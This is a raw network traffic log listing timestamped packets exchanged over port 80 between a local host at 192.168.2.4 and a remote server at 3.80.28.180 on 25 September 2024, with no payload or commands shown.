Sep 25, 2024 03:51:29.247328043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247342110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247359037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247360945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247376919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247401953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247419119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247504950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247520924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247549057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247565031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247570038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247580051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247596979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247615099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247631073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247637033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247637033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247648001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247664928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247682095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247698069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247700930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247700930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247788906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.247953892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247970104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.247986078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248003006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248019934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248037100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248078108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248136044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248152018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248167992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248186111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248187065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248203993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248219967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248236895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248246908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248246908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248317957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248368025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248383999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248400927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248416901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248441935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248460054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248563051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248579025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248595953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248609066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248625040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248642921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248651028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248651028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248661041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248723984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248894930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248910904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248927116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248941898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248949051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248959064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248975992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248992920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.248996019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.248996019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.249010086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.249027014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.249044895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.249053955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.249062061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.249095917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.249126911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.277664900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.289257050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289279938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289302111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289335966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.289347887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289364100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289381981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289400101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.289427996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.289427996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333430052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333467960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333483934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333502054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333519936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333555937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333585978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333602905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333610058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333621979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333641052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333650112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333703995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333730936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333852053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333865881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333882093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333899021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333914995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333918095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333933115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333950996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.333950996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.333986044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334137917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334153891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334171057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334187984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334197044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334206104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334247112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334248066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334469080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334486008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334503889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334521055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334537983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334553957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334563017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334563017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334569931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334588051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334606886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334630013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334630013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334815025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334830046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334846973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334862947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334880114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.334893942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334893942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.334980965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.337598085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337618113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337637901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337666988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337682962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337698936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337707996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.337707996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.337771893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.337819099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337835073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337851048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337867022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337882996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337898970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337908030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.337908030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.337913990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.337991953 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338171005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338191032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338215113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338232040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338248968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338258982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338258982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338360071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338380098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338397026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338412046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338428974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338448048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338462114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338473082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338534117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338625908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338663101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338680029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338696003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338712931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338727951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338745117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338752031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338752031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338766098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338783026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338799000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338804007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338816881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.338857889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.338857889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339059114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339073896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339090109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339107037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339124918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339133978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339154005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339154959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339171886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339188099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339205027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339222908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339226007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339226007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339293003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339464903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339481115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339497089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339513063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339529037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339545965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339545965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339652061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339668036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339683056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339699030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339720011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339725971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339741945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339756012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339771986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339778900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339778900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339790106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339797020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339807987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339824915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339840889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339843988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339862108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339879036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.339885950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.339943886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.340214014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340234041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340250969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340267897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340285063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340295076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.340295076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.340301037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340318918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340333939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340351105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.340356112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.340356112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.340446949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.381885052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.381930113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.381946087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.381972075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.381987095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.382003069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.382004023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.382023096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.382070065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.382071972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.382071972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.382119894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.424504995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424525976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424560070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424570084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.424576044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424596071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424623013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.424676895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424693108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424710989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424727917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424748898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.424748898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.424854994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424895048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.424976110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.424992085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425008059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425024033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425039053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425040960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425059080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425076008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425103903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425103903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425195932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425245047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425278902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425295115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425312042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425327063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425334930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425344944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425362110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425419092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425419092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425539017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425555944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425571918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425587893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425612926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425638914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425647974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425664902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425679922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425695896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425712109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425719023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425731897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425746918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425765038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425774097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425774097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.425779104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.425816059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.428606987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428641081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428654909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428678989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.428683043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428700924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428740025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.428740025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.428821087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428837061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428853989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428869963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428889036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.428910017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.428910017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.429038048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429054022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.429095030 CEST	49730	80	192.168.2.4	3.80.28.180
